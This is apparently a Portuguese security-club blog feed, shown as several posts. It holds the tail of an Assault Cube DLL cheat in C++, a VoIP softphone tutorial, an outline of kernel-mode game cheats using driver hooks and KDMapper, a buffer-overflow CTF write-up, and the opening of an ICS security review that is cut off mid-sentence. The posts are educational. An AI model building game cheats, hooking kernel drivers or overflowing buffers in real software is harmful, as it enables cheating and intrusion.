(GetAsyncKeyState(VK_F2) \u0026amp; 1) { bAmmo = !bAmmo; std::cout \u0026lt;\u0026lt; \u0026#34;Municao infinita \u0026#34; \u0026lt;\u0026lt; (bAmmo ? \u0026#34;ativada\u0026#34; : \u0026#34;desativada\u0026#34;) \u0026lt;\u0026lt; std::endl; } UpdatePlayerStats(bHealth, bAmmo, localPlayerPtr); Sleep(10); } fclose((FILE*)stdout); FreeConsole(); FreeLibraryAndExitThread(hModule, 0); return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CloseHandle(CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)HackThread, hModule, 0, nullptr)); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Referências da API do Windows CreateThread CloseHandle AllocConsole freopen_s GetModuleHandle GetAsyncKeyState fclose FreeConsole FreeLibraryAndExitThread ","permalink":"http://grisufrj.github.io/blog/2024-02-19-assault-cube-hack-parte-2/","summary":"Desenvolvimento de Código Criando o Projeto Antes de começar o código vamos criar um projeto no Visual Studio, procure e selecione Dynamic Link Library (DLL) para C++ como tipo de projeto como na imagem a seguir.\nDê um nome ao projeto e escolha um local para salvá-lo e teremos uma estrutura inicial desta forma.\nA estrutura do nosso código se dividirá em 3 funções, DllMain, HackThread e UpdatePlayerStats. Irei explicar mais adiante detalhadamente cada uma.","title":"Assault Cube Hack - Parte 2"},{"content":"Introdução Você já ouviu falar de VoIP e softphones? Neste post, vamos aprender um pouco sobre os fundamentos da telefonia pela Internet e ver na prática a configuração de um software para efetuar chamadas telefônicas que se aproveita da linha fixa telefônica que vem junto do seu modem de internet.\nAntigamente, para realizar chamadas telefônicas, era comum a utilização de um telefone fixo com fio. Para isso, era necessário se conectar à rede PSTN (Public Switched Telephone Network ou Rede Telefônica Pública Comutada), uma infraestrutura mundial de redes de telefonia pública que utiliza cabos de cobre ou fibra óptica para transmitir dados de voz analógicos.\nCom o avanço da Internet, surgiram melhores alternativas para a telefonia convencional. Uma delas é o VoIP (Voice Over Internet Protocol ou Voz sobre Protocolo de Internet), uma tecnologia que viabiliza a transmissão de voz em forma de pacotes de dados. Esses pacotes são enviados pela Internet e permitem que duas máquinas troquem informações entre si.\nPrincipais protocolos utilizados no VoIP Para entendermos melhor as etapas dessa comunicação, vamos estudar os principais protocolos utilizados em uma conexão pela internet.\nPilha de protocolos da Internet A pilha TCP/IP é um conjunto de protocolos que definem como os dispositivos se comunicam na internet. Ela é composta por cinco camadas, que são:\nAplicação: realiza a interface entre a aplicação e a rede, controla os serviços e protocolos utilizados pelas aplicações dos dispositivos finais e permite a comunicação entre eles. Alguns dos principais protocolos são: HTTP (HyperText Transfer Protocol), DNS (Domain Name System) e SIP (Session Initiation Protocol);\nTransporte: responsável por realizar efetivamente os serviços de comunicação de dados e entrega confiável dos pacotes entre a origem e o destino (fim a fim). Os principais protocolos são: TCP (Transmission Control Protocol), UDP (User Datagram Protocol) e, para nosso estudo, o RTP (Real-time Transport Protocol);\nRede: faz o roteamento dos pacotes de dados e realiza a comunicação entre os hosts conectados à rede, independentemente de sua localização física. Alguns dos principais protocolos são: IP (Internet Protocol) e ICMP (Internet Control Message Protocol);\nEnlace: camada responsável por realizar a conexão física entre os dispositivos de rede e permitir a transferência de dados entre dispositivos adjacentes (comunicação salto a salto). Alguns dos principais protocolos são: Ethernet e Wi-Fi;\nFísica: lida diretamente com a transmissão física dos bits “no fio”.\nAgora que estudamos a visão geral sobre a pilha TCP/IP, podemos focar nos principais protocolos e suas funções específicas para nosso estudo de VoIP.\nIP (Internet Protocol) O protocolo IP é o alicerce da internet, responsável por encaminhar os pacotes até o destino e interconectar redes de diferentes tecnologias. Ele fornece endereçamento único para cada dispositivo na rede, permitindo a identificação e a entrega adequada dos pacotes. Embora seja crucial, o IP não garante entrega confiável ou ordenada dos dados.\nExistem duas principais versões do IP: o IPv4 e o IPv6. De forma resumida, o IPv4 utiliza endereços de 32 bits (232 endereços únicos), enquanto o IPv6 emprega endereços de 128 bits (2128 endereços únicos), oferecendo maior quantidade de endereços para acomodar a crescente demanda por dispositivos conectados à internet.\nFigura 1: Diferenças entre os cabeçalhos do IPv4 e IPv6. Fonte: https://www.networkacademy.io/ccna/ipv6/ipv4-vs-ipv6\nTCP (Transport Control Protocol): O protocolo TCP, por sua vez, oferece uma entrega confiável de dados, pois estabelece uma conexão entre os dispositivos comunicantes e garante que os pacotes cheguem na ordem correta e sem perdas. Caso ocorram problemas durante a transmissão, o TCP retransmite os pacotes afetados.\nFigura 2: Cabeçalho do protocolo TCP. Fonte: https://intronetworks.cs.luc.edu/current2/uhtml/tcpA.html\nUDP (User Datagram Protocol): Já o protocolo UDP adota uma abordagem não orientada a conexão, priorizando a velocidade na entrega dos dados. Embora não garanta a entrega confiável e possa resultar em perdas de pacotes, sua simplicidade o torna ágil e eficaz para transmissões em tempo real, como o VoIP. Tal característica é essencial para manter a sincronização entre os participantes, embora possa resultar em algumas inconsistências de qualidade devido à falta de correção de erros.\nFigura 3: Cabeçalho do protocolo UDP. Fonte: https://intronetworks.cs.luc.edu/current2/uhtml/udp.html\nSIP (Session Initiation Protocol): O SIP é bastante importante no VoIP, pois é um protocolo de sinalização usado para criar, controlar e finalizar sessões das chamadas telefônicas. De forma resumida, o SIP define dois tipos de mensagens: REQUEST e RESPONSE.\nA mensagem REQUEST é enviada de um cliente a um servidor e pode ter vários métodos, que representam uma ação necessária. Existem 14 delas, mas as principais que veremos na demonstração são:\nPUBLISH: publica o estado de um evento; INVITE: é utilizado quando se deseja convidar um novo participante para uma sessão; REGISTER: envia informações sobre identificação e localização do usuário, como hostname e endereço IP; ACK: uma mensagem com este método é enviada por um usuário que mandou um INVITE para avisar que uma mensagem do tipo RESPONSE foi recebida; BYE: é utilizado para encerrar a participação numa sessão. Já a mensagem RESPONSE é usada para indicar o resultado de uma solicitação que foi realizada durante a sessão. Existem vários códigos de resposta SIP, contudo, os mais importantes para nosso estudo são:\n1XX – Respostas Provisórias Descrição 100 Trying Indica que o roteador mais próximo do servidor recebeu uma tentativa de resposta. 180 Ringing Indica que o dispositivo do usuário recebeu uma solicitação e está alertando o destino (ou seja, o telefone do destino está tocando). 2XX – Respostas bem sucedidas Descrição 200 OK A solicitação foi completada com sucesso. 3XX – Respostas de redirecionamento Descrição 301 Moved Permanently O usuário não pode mais ser localizado no endereçamento que foi enviado a chamada. 302 Moved Temporarily A chamada não pode ser completada porque o endereço solicitado está temporariamente desabilitado, fora de serviço ou expirou. 4XX – Respostas de falha Descrição 400 Bad Request A chamada não pode ser completada devido a um erro como número digitado errado, algum bloqueio da operadora ou até mesmo um erro interno na rede do cliente. 401 Unauthorized O pedido não pode ser completado pois não foi possível autenticar o usuário. 403 Forbidden O servidor recebeu a solicitação, porém está se negando a completar a chamada, devido a algum erro entre as pontas em decorrência de uma configuração de rota de entrada ou de saída errada, e até mesmo a um bloqueio em uma das pontas. 480 Temporarily Unavailable Local solicitado se encontra indisponível no momento. 486 Busy Here Destino ocupado. 487 Request Terminated Solicitação cancelada pelo destino ou por algum agente entre a fonte do pedido e o destino. 488 Not Acceptable Here Alguns aspectos da descrição da sessão ou a solicitação URI não são aceitas. 5XX – Erros de falha do servidor Descrição 500 Server Internal Error Devido a uma condição especial o servidor não pôde completar o pedido. 503 Service Unavailable O servidor está em manutenção ou indisponível temporariamente. 6XX – Respostas de Falhas Globais Descrição 606 Not Acceptable O agente do usuário fez contato com sucesso, porém alguns aspectos da descrição da sessão não são aceitos. Fonte: https://www.worknets.com.br/2020/04/10/lista-de-codigos-de-resposta-sip/\nPortanto, vimos que o SIP (Session Initiation Protocol) estabelece e gerencia a sessão de comunicação. Agora, vamos ver como os dados dessa comunicação são entregues.\nRTP (Real-time Transport Protocol): O RTP é um protocolo de transporte que é implementado na camada de aplicação, é executado sobre o UDP e realiza o transporte fim-a-fim em tempo real de pacotes de mídia (como áudio e vídeo) durante uma sessão de comunicação.\nJuntamente ao RTP, existe um outro protocolo que serve para monitorar a qualidade de serviço: o protocolo de controle RTCP (Real Time Control Protocol). Ele não transporta dados, pois sua principal função é realizar controle de fluxo e congestionamento para os participantes de uma sessão.\nVisão geral Utilizando tudo que aprendemos até o momento, veja um exemplo de uma chamada VoIP sendo estabelecida entre dois indivíduos.\nFigura 4: Exemplo de uma chamada VoIP sendo estabelecida. Fonte: https://www.nextiva.com/blog/sip-protocol.html\nFalta apenas um conceito para irmos à parte prática do post, que é: como a fala é convertida em um sinal digital?\nCodificadores e decodificadores Um CODED VoIP é um dispositivo de hardware ou software que é capaz de codificar e decodificar um sinal. De forma simplificada, um CODEC converte um sinal de voz analógico em sua forma digital. Em seguida, ele converte o sinal digital comprimido de volta para sua forma analógica original.\nVeja abaixo alguns tipos de CODECS VoIP que são utilizados:\nFigura 5: Exemplos de CODECs utilizados no VoIP. Fonte: SUDRÉ, Gilberto. Entendendo a Tecnologia VoIP.\nVale ressaltar que o G.711 é o mesmo CODEC utilizado pela rede PSTN. Existem duas variações:\nG.711 A_law : utilizado em países fora da América do Norte. Também é utilizado para ligações telefônicas internacionais. G.711 u_law : utilizado principalmente na América do Norte. Mão na massa! Finalmente, estamos prontos para configurar o softphone. É preciso que você:\nTenha um plano de internet com telefone fixo (seu modem deve ter uma entrada RJ-11) Tenha acesso ao login de administrador de seu modem (admin, userAdmin, AdminGPON \u0026hellip; ). Se você não souber o endereço IP ou o login para acessar as informações do seu modem, verifique as orientações que estão atrás do aparelho. Tenha acesso às informações de voz da sua linha (endereço ip do Soft Switch e User Agent, bem como seu número de telefone fixo Phone Number). Entre nas informações de seu modem, procure uma aba equivalente a Voice Information e anote as informações. Se houver, mude a prioridade da VLAN (Virtual Local Area Network) correspondente ao VoIP para 0 (quanto menor o valor de VLAN PRI, maior é a prioridade dos pacotes de VoIP para o modem). Isso é muito importante para a qualidade de suas chamadas. Instale um softphone em seu computador (irei utilizar o MicroSIP no sistema operacional Windows). Ao abrir o MicroSIP, clique na seta do canto superior direito e clique em Adicionar Conta. Preencha as informações que você anotou anteriormente.\nEm Servidor SIP, escreva o endereço IP correspondente ao User Agent.\nEm Proxy SIP, escreva o endereço IP correspondente ao Soft Switch.\nEm Domínio, veja qual é o endereço de seu provedor de serviço. No meu caso, é ims.oi.net.br:5060. Note que a porta 5060 é a porta padrão do protocolo SIP.\nEm Usuário e Login, escreva: +telefone@domínio.\nEm Senha, escreva seu número de telefone sem o DDD. Exemplo: 40028922\nEm Transporte, escolha UDP+TCP.\nClique em Salvar.\nAgora, na tela inicial do MicroSIP, clique novamente na seta superior direita e selecione Configurações. Após abrir, localize os codecs disponíveis, utilize as setas e habilite apenas o codec G.711 A-law. Após isso, clique em salvar.\nPronto! Agora, nosso softphone está configurado e pronto para realizar chamadas.\nCom a ajuda do Wireshark (programa de análise de tráfego de rede), vamos ligar para o número 40028922 e verificar as requisições relacionadas aos protocolos SIP e RTP.\nInício da conexão (observe as mensagens INVITE, TRYING, RINGING e os pacotes RTP)\nFim da conexão (observe as mensagens BYE e OK)\nEspero que este post tenha te ajudado a entender um pouco mais sobre os protocolos da Internet e os mecanismos que estão relacionados à tecnologia VoIP.\nReferências Bibliográficas 3CX. What are SIP methods - requests and responses?. Disponível em: https://www.3cx.com/pbx/sip-methods/\nWorknets. Lista de códigos de resposta SIP. Disponível em: https://www.worknets.com.br/2020/04/10/lista-de-codigos-de-resposta-sip/\nBERNAL, Huber. Telefonia IP. Disponível em: https://www.teleco.com.br/tutoriais/tutorialtelip/default.asp\nCanal do Toth. Curso Básico de VoIP \u0026amp; SIP. Disponível em: https://www.youtube.com/playlist?list=PLYWlOBwQPyDqkMW82OAgamy2DP3DAZDV1\nLAGOIA, Paulo. Push-to-Talk no Celular II: Protocolos. Disponível em: https://www.teleco.com.br/tutoriais/tutorialpushtotalk2/default.asp\nNextiva. What Is Session Initiation Protocol (SIP) \u0026amp; How Does It Work?. Disponível em: https://www.nextiva.com/blog/sip-protocol.html\nSUDRÉ, Gilberto. Entendendo a Tecnologia VoIP. Disponível em: https://pt.slideshare.net/gilsudre/entendendo-a-tecnologia-voip-presentation\n","permalink":"http://grisufrj.github.io/blog/2024-01-13-voip-calls/","summary":"Introdução Você já ouviu falar de VoIP e softphones? Neste post, vamos aprender um pouco sobre os fundamentos da telefonia pela Internet e ver na prática a configuração de um software para efetuar chamadas telefônicas que se aproveita da linha fixa telefônica que vem junto do seu modem de internet.\nAntigamente, para realizar chamadas telefônicas, era comum a utilização de um telefone fixo com fio. Para isso, era necessário se conectar à rede PSTN (Public Switched Telephone Network ou Rede Telefônica Pública Comutada), uma infraestrutura mundial de redes de telefonia pública que utiliza cabos de cobre ou fibra óptica para transmitir dados de voz analógicos.","title":"Softphones e telefonia pela Internet"},{"content":"O que é o kernel Quando falamos em sistemas operacionais, em geral pensamos em recursos visuais e interativos como suas aplicações e interface gráfica. No entanto, além de fornecer a interface com o usuário, o sistema também precisa se comunicar com a parte física do computador: o hardware. Por conta disso, em geral definimos duas categorias de atuação de um sistema operacional:\nUser level Kernel level A primeira delas, que seria o nível de usuário ou espaço de usuário, consiste em todo o espaço reservado para executar aplicações comuns instaladas em um sistema, como o navegador, o editor de textos ou até mesmo binários em linha de comando. Quando esses programas são executados, o kernel aloca os recursos necessários para as mesmas, criando uma espécie de sandbox, com uma quantidade qualquer de memória virtual.\nJá o kernel em si, atua como um nível intermediário entre o user space e o hardware, recebendo interações geradas no nível de usuário e gerenciando recursos da memória, do processador e de periféricos diretamente. Os “programas” que rodam aqui são chamados de drivers, que precisam funcionar perfeitamente, pois qualquer erro nesse nível pode causar o crash do sistema operacional, ocasionando a tela azul da morte no caso do Windows.\nA comunicação entre os níveis é feita através das chamadas syscalls.\nImportância para cheats e anti-cheats Entendendo mais agora sobre o kernel, podemos questionar o porque ele é importante quando pensamos em segurança de jogos. De maneira simples, as ações realizadas em kernel space possuem um poder de controle maior, visto que é possível se comunicar com os recursos do computador diretamente, sem a necessidade de pedir permissão ao sistema operacional.\nPor conta disso, muitos cheats e anti-cheats se propõem a atuar no kernel, para adquirir um controle quase que absoluto de manipulação, principalmente de memória, e assim atingir seus respectivos objetivos.\nPense por exemplo em um cheat externo que precise chamar funções como ReadProcessMemory e WriteProcessMemory. Um anticheat com permissões de kernel pode simplesmente fazer um hook dessas funções ao ser iniciado com o sistema operacional, e assim toda vez que elas forem chamadas o software defensivo terá conhecimento, podendo até mesmo bloquear ações suspeitas.\nEsse foi apenas um exemplo do que é possível fazer, mas existem diversas outras técnicas de detecção e anti-detecção que só são possíveis de serem executadas com a permissão de kernel level\nIOCTL Muito bem, tendo em mente a motivação de contruir cheats em kernel mode, vamos entender agora em alto nível como eles são feitos. O foco aqui será entender o método de comunicação por IOCTL.\nDriver Primeiro de tudo, precisamos do driver que atuará de fato no nível de kernel. Esse driver precisa de três mecanismos principais:\nOperações básicas de memória como ler e escrever Criar um hook em alguma função do sistema para servir de entrada de dados pelo user mode Precisa ter uma assinatura válida Para o primeiro objetivo, precisamos usar estruturas de dados e funções não documentadas do Windows, sendo uma delas a MmCopyVirtualMemory, que possui o papel de copiar bytes para uma região de memória qualquer de um processo.\nPara criar o hook em uma função de outro driver (por exemplo o dxgkrnl.sys), simplesmente criamos um payload com a instrução jmp para um endereço controlado por nós, e sobreescrevemos diretamente esse payload na memória do driver, visto que temos permissão de kernel.\nPara conseguirmos executar o nosso driver, ele precisa ter uma assinatura válida reconhecida pelo sistema, no entanto, não temos uma maneira fácil de conseguir isso. Em geral o que é feito é a exploração de outros drivers vulneráveis do sistema, para mapear o conteúdo do nosso driver em kernel space. Uma ferramenta muito conhecida para fazer esse exploit é o KDMapper.\nAplicação Após o mapeamento das funções desejadas do nosso driver, precisamos também de uma aplicação em user mode capaz de interagir com essas funcionalidades criadas em kernel. Por esse motivo que é criado um hook handler através do nosso driver. Esse “handler” funciona como um receptor de instruções, que podemos enviar através da nossa aplicação, de tal maneira a ordenar manipulação de memória em kernel.\nO nome IOCTL vem justamente dessa funcionalidade, pois é a partir desse hook que implementamos uma interface de entrada e saída de comunicação com o driver. A partir daí, lógicas específicas de cada cheat e cada game podem ser implementadas pelo próprio user mode.\n","permalink":"http://grisufrj.github.io/blog/2024-01-12-kernel-cheating/","summary":"O que é o kernel Quando falamos em sistemas operacionais, em geral pensamos em recursos visuais e interativos como suas aplicações e interface gráfica. No entanto, além de fornecer a interface com o usuário, o sistema também precisa se comunicar com a parte física do computador: o hardware. Por conta disso, em geral definimos duas categorias de atuação de um sistema operacional:\nUser level Kernel level A primeira delas, que seria o nível de usuário ou espaço de usuário, consiste em todo o espaço reservado para executar aplicações comuns instaladas em um sistema, como o navegador, o editor de textos ou até mesmo binários em linha de comando.","title":"Entendendo o Papel do Kernel na Segurança de Jogos Online"},{"content":"Essa postagem tem como objetivo iniciar a jornada no mundo de pwning de maneira didática, ao demonstrar um Buffer Over Flow, um exploit moderno que obtem vantagem sobre a Stack e buffers de memória.\nConceitos Básicos de Programas Antes de tudo, é importante ter em mente alguns conceitos importantes antes de começar a jornada em pwning. Certos conceitos de low-level e como os programas são compostos vão ser extremamente importantes para entender\nTodo programa em baixo nível possui Heap, Registradores, a Stack e instruções em assembly. Segue abaixo uma descrição do que cada um significa.\nHeap: Lugar onde a memória é alocada dinamicamente, através de funções\ncomo malloc(), realloc(), calloc()\nRegistradores: São locais que servem como armazenamento temporário para sequências de bits, que estão dentro da CPU do computador. Possuem x bytes de tamanho dependendo da arquitetura. Eles servem como receptáculo de valores e endereços para realizarem operações.\nStack: Lugar na memória onde as variáveis declaradas no programa são armazenadas temporariamente em uma estrutura de pilha LIFO (Last in First out).\nExistem apenas duas instruções em uma pilha, a de push (que bota alguma coisa dentro da stack) e da pop (que tira algo da stack) . Toda função tem sua própria stack, onde suas variáveis ficam armazenadas. A stack consiste na região entre o Base Pointer (ponteiro que aponta para a base da Stack) e o Stack Pointer (ponteiro que aponta para o topo da stack). Na stack as variáveis que são declaradas primeiro possuem um endereço MAIOR do que as variáveis que são declaradas depois.\nPwntools Pwntools é um framework em python utilizado para CTF´s e desenvolvimento de exploits. Ele serve para agilizar e facilitar desenvolvimento de exploits.\nAqui iremos usá-lo para facilitar escrever certos inputs em nosso programa.\nAbaixo segue alguns conceitos sobre o pwntools e suas funções:\n-\u0026gt; from pwn import * = Linha responsável por importar o pwntools para o programa\np = process(\u0026rsquo;.programa\u0026rsquo;) = Cria uma conexão com o programa/processo a ser executado\np.sendline() = Envia uma linha para o programa\np.interactive() = Cria uma secção interativa com o terminal\np32(numero) = Transforma um número em bytearray de 32 bits (ótimo para passar um número para little endian)\np64(numero) = Transforma um número em bytearray de 64 bits (ótimo para passar um número para little endian)\nCsaw 2018 Quals Boi Neste desafio podemos reparar que estamos lidando com um binário de 64 bits (que basicamente significa que ele foi compilado com uma arquitetura de 64 bits).\nO programa printa a string “Are you a big boiiiii??”, nos dá uma opção de input e nos printa a data e o dia.\nVamos começar dando uma olhada na função main desse programa fazendo uso novamente do Ghidra:\nPodemos notar o seguinte:\nNosso input é lido com a função read() e sabemos que ele lê 18 bytes hexadecimais e depois os armazena em input. Temos um condicional que estabelece: caso a variável inteira target possua o valor de 0x-350c4512 (aparentemente) iremos poppar um shell, a partir do comando run_cmd(/bin/bash), caso contrário iremos apenas obter a data a partir do shell. Próximo do comando de return temos um if statement à variável long stackCanary, que é basicamente uma variável que é posta na stack que possui o objetivo de indicar quando houve uma tentativa de Buffer OverFlow. Ok, antes de começarmos a discorrer sobre como vamos exploitar esse programa e conseguir a flag, vamos clarificar o valor da variável target no if statement.\nAo usar um debugger como o Ghidra, podemos ter acesso ao código de linguagem de montagem (Assembly), que gerou o binário. Clicando na linha de código correspondente:\nVemos que o valor que está sendo comparado com o de target na instrução CMP é:\n0xcaf3baee .\nOk, agora sabemos o valor que a variável target precisa ter para podermos poppar o shell e conseguir a flag para esse problema. Porém, a pergunta que devemos nos fazer é:\nComo vamos mudar o valor da variável target, se o input do programa não altera seu valor, e sim o valor da variável “input”?\nBuffer OverFlow É aqui que vamos apresentar a técnica de exploit chamada Stack Buffer OverFlow, que precisaremos usar para resolver esse challenge.\nO que exatamente é um buffer? R: Um buffer é basicamente um espaço na memória que guarda temporariamente um dado.\nPor que do OverFlow? R: Quando temos um comando de input, o dado que foi inserido será guardado temporariamente em um buffer de tamanho x, porém caso os dados passados possuam um tamanho maior do que x, ele irá subscrever endereços\nA imagem acima basicamente diz que o Buffer cresce em direção ao Base Pointer (Registrador que indica a base da Stack), portanto conseguimos corromper os dados que estão armazenados nos endereços que são maiores do que os endereços de onde está nosso input.\nCom esse raciocínio em mente, encontramos um jeito de alterar o valor da variável target “através” de input, visto que o endereço de input é:\n(A imagem abaixo mostra o layout da stack no Ghidra, é possível acessá-lo clicando em qualquer uma das variáveis onde elas foram declaradas.)\nEndereço da variável input = Stack[-0x38]\nEndereço da variável target = Stack[-0x24]\nDistância entre os dois endereços = 0x14\nO endereço da variável target, é maior que o endereço da variável input. Também precisamos lembrar que estamos escrevendo 0x18 bytes de dados, por conta da função read.\nPortanto, podemos escrever esses 0x14 bytes de diferença e também subscrever 0x4 bytes da variável target. Como números inteiros possuem 4 bytes de tamanho em C, podemos reescrever tranquilamente o valor de target, visto que ele é uma variável do tipo inteiro.\nComo queremos que o valor de target seja 0xcaf3baee precisaremos então inputar 0x14 bytes aleatórios + 0xcaf3baee porém em little endian, pois é como binário irá ler o valor em hexa.\nO que é little endian? Explicando rapidamente, endianness tem a ver com a ordem que os bytes se apresentam\nPor exemplo, o número 0x7025\nEm big endian ele será = 0x7025 enquanto em little endian será = 0x2570\nOs bytes do número se inverteram, lembrando sempre que UM dígito em hexadecimal precisa de 4 bits para ser representado, portanto DOIS dígitos em hexa precisam de 1 byte (8 bits) para ser representado.\nOk, com tudo isso em mente podemos escrever nosso exploit para conseguir a flag.\nO exploit consiste em um script em python usando o pwntools\nFazendo uso desse código no programa um shell irá poppar!\nReferências: Desafio realizado: https://guyinatuxedo.github.io/04-bof_variable/csaw18_boi/index.html\nLista de instruções de Assembly: https://www.cs.virginia.edu/~evans/cs216/guides/x86.html\nBufferOverFlow: https://www.rapid7.com/blog/post/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/\n","permalink":"http://grisufrj.github.io/blog/2024-01-12-pwn-101-desafios-de-introdu%C3%A7%C3%A3o-a-buffer-overflow-2944951e3ef04485a957cea3da0e3a4a/","summary":"Essa postagem tem como objetivo iniciar a jornada no mundo de pwning de maneira didática, ao demonstrar um Buffer Over Flow, um exploit moderno que obtem vantagem sobre a Stack e buffers de memória.\nConceitos Básicos de Programas Antes de tudo, é importante ter em mente alguns conceitos importantes antes de começar a jornada em pwning. Certos conceitos de low-level e como os programas são compostos vão ser extremamente importantes para entender","title":"pwn 101: Desafios de Introdução a Buffer Overflow"},{"content":"RESUMO É consenso que a Internet Industrial das Coisas (IIoT) trouxe avanços tecnológicos para a indústria, além de novos arranjos de uma produção mais inteligente, que possibilita maior conexão entre tecnologia e desenvolvimento sustentável, além das melhorias nas funcionalidades do software SCADA, muito utilizado por diversos Sistemas de Controle Industriais (ICS). No entanto, há uma preocupação crescente com a segurança das Infraestruturas Críticas, uma vez que ficaram mais suscetíveis aos ataques cibernéticos. Nesse sentido, este resumo tem como objetivo fazer uma breve revisão bibliográfica sobre o assunto, pontuar sobre o cenário geral das inovações, além de fornecer ao leitor um exemplo de arquitetura de um sistema de tratamento de água baseado em ICS-SCADA/IIoT. A metodologia utilizada inclui além da consulta à base de artigos da Science Direct, também a base de documentos da WIPO (World Intellectual Property Organization).\nINTRODUÇÃO A Internet das Coisas (IoT) impulsionou a transformação de todos os setores econômicos devido ao aumento da interconectividade tecnológica que trouxe inúmeros benefícios a sociedade. Do mesmo modo, encontra-se a Internet Industrial das Coisas (IIoT) que faz uso de dispositivos inteligentes que visam aumento da automação, eficiência e produtividade na indústria. A IIoT está presente em praticamente todos os setores produtivos e encontra um cenário mundial desafiador que inclui, dentre outros pontos, a busca pela melhoria de específicos indicadores dos Objetivos do Desenvolvimento Sustentável (ODS) da Nações Unidas que visam atingir metas globais até 2030.\nAs aplicações inteligentes já são consideradas estratégicas para promoção do desenvolvimento sustentável, uma vez que podem fornecer em tempo real dados, insights e análises mais rápidas e precisas que melhoram a eficiência de variados sistemas de produção e monitoramento, além de melhorar o gerenciamento dos recursos disponíveis na indústria. A contribuição trazida pela IIoT inclui, especialmente, melhorias quanto aos indicadores ODS9 e ODS12 em que, busca-se aumento do acesso às tecnologias da informação e comunicação; apoio ao desenvolvimento tecnológico, pesquisa e inovação; modernização e facilitação do desenvolvimento de infraestrutura sustentável; melhoria da capacidade tecnológica das indústrias; desenvolvimento de infraestrutura de qualidade, confiável, sustentável e resiliente; redução do desperdício de recursos naturais tendo como referencial a produção industrial mais responsável.\nAlém disso, segundo a OECD (2024) a IIoT pode auxiliar no aumento da vida útil dos equipamentos, manutenção preditiva quanto a falha das máquinas, rastreia a entrada e saída de mercadorias possibilitando um planejamento mais eficiente, otimização do consumo de energia, redução do uso de recursos naturais e redução de emissões de poluentes atmosféricos. O cenário da IIoT na indústria é promissor. Em média, a tecnologia IIoT é utilizada por 31% das empresas européias do setor transformador e 22%, no Canadá. As empresas de energia lideram o uso com 47% nos países europeus e 46% no Canadá. Essas empresas adotaram a IIoT visando melhorar a segurança das suas instalações (76%), o controle dos processos produtivos e logística (42%) e otimizar o consumo de energia (37%). Por outro lado, IIoT trouxe muitos desafios quando da ampliação dos sistemas conectados na nuvem e com arranjos em múltiplas soluções, tornando-se falhos na prova de conceito, apresentando riscos de segurança e privacidade, expressivos custos de integração e falta de padrões e interoperabilidade. Esses fatores são relatados como os principais que retardam e/ou interrompem a implantação da IIoT. Além disso, em especial à segurança das Infraestruturas Críticas, uma vez que há maiores preocupações quanto à privacidade dos dados, sobrecarga de comunicação, gerenciamento de dados sensíveis e vulnerabilidade aos ataques cibernéticos podendo causar expressivos impactos ambientais (Kimani et al., 2019).\nPara se ter uma ideia da importância desse tema, a Agência de Segurança Cibernética e Infraestrutura dos EUA (CISA) categorizou 16 setores considerados de Infraestrutura Crítica como mostrado na Figura 1, dentre os quais, encontram-se a indústria química, nuclear, energia e os sistemas de tratamento de água, que têm sido alvos atraentes de ataques cibernéticos. A relevância dada a esses setores é devido ao alto impacto destrutivo que os ataques cibernéticos podem provocar na segurança econômica e patrimonial nacional, na saúde e na segurança ambiental da população.\nFigura 1 – Infraestruturas críticas. Fonte: Adaptado de CISA (2022).\nSabe-se que essas infraestruturas fazem parte de uma Infraestrutura Nacional Crítica (CNI) e que são prioritariamente protegidas em casos de ataques. Cada país estrutura seu CNI de forma própria e, no caso do Brasil, por meio do Decreto nº 9.573, de 22 de novembro de 2018, a Política Nacional de Segurança de Infraestruturas Críticas (PNSIC) foi estruturada incluindo, entre outros itens, instalações e sistemas cujas interrupções ou destruições, total ou parcial, provoquem sério impacto social, ambiental, econômico, político, internacional ou à segurança do Estado e da sociedade. Em suma, a PNSIC é uma política de Estado. Tão importante quanto a PNSIC é a configuração da Política Nacional de Cibersegurança (PNCiber) criada pelo Decreto nº 11.856, de 26 de dezembro de 2023 que tem como princípio a prevenção de incidentes e ataques cibernéticos ao CNI e de serviços essenciais prestados à sociedade.\nAs motivações para ataques cibernéticos às infraestruturas desse tipo são variadas, mas é certo que as vulnerabilidades encontradas nesses ambientes de controle e automação são maiores quando ligados à IIoT porque amplia as possibilidades de ataques ao combinar uma diversidade de dispositivos industriais, sistemas de controle, sensores, atuadores à redes heterogêneas de comunicação com e sem fio, acarretando na exploração de vulnerabilidades de interfaces web, que podem comprometer a integridade, confidencialidade e disponibilidade do serviço e/ou dados. Nesse sentido, os dispositivos que fazem parte de todo aparato IIoT podem ser alvo de ataques, espionagem, roubo de dados e destruição online, sendo a facilidade de acesso diretamente vinculada ao alcance global da Internet. Portanto, as ameaças devem ser melhor compreendidas uma vez que os dados gerados e os dispositivos IIoT podem ser detectados e controlados remotamente (Figura 2). Alguns exemplos de ameaças cibernéticas nesse contexto incluem: Man in The Middle (MITM), Distributed Denial of Service (DDoS) e injeção de malware na nuvem (Mekala et al., 2023).\nFigura 2 – Exemplo de configuração em nuvem com cenário de ataque. Fonte: Bhamare et al. (2020).\nAlém disso, Urquhart et al. (2018) pontuaram sobre a amplitude dos riscos no contexto da IIoT que, de forma ampla, podem incluir ataques cibernéticos envolvendo: Hackers patrocinados pelo Estado para roubo de segredos militares e/ou informações de eleições, espionagem e sabotagem comerciais; grupos criminosos organizados que invadem remotamente organizações visando obter informações confidenciais, em especial, grupos como Lulzsec ou Anonymous que utilizam ataques como DDoS como justificativa para fazer justiça social e/ou retaliações tendo como alvos websites ou Infraestruturas Críticas para criar interrupções de serviços acarretando em altos custos financeiros e de reputação comercial.\nDe forma geral existem, pelo menos, 10 ataques cibernéticos à Infraestruturas Críticas reportados na literatura como de grande importância, dentre eles estão: (a) ataque ao sistema de elétrico na cidade de Lodz (Polônia) em 2008 que resultou no ferimentos de passageiros; (b) ataque à rede de sistema de energia da Texas Power Company em 2009; (c) ataque Stuxnet por worm em 2009 à instalação de energia nuclear iraniano que destruiu as centrífugas de enriquecimento de urânio U-235; (d) ataque ao sistema de distribuição de água em 2011 do Departamento de Água e Esgoto da cidade de South Houston, Texas; (e) ataque à represa da Bowman Avenue de Nova York em 2013 que foi destruída; (f) ataque à rede elétrica da Ucrânia por malware BlackEnergy que causou um enorme apagão em 2015; (g) ataque ao sistema ferroviário da cidade de São Francisco (EUA) em 2016 via ransomware; (h) ataque ao sistema de controle da concessionária de água da Kemuri 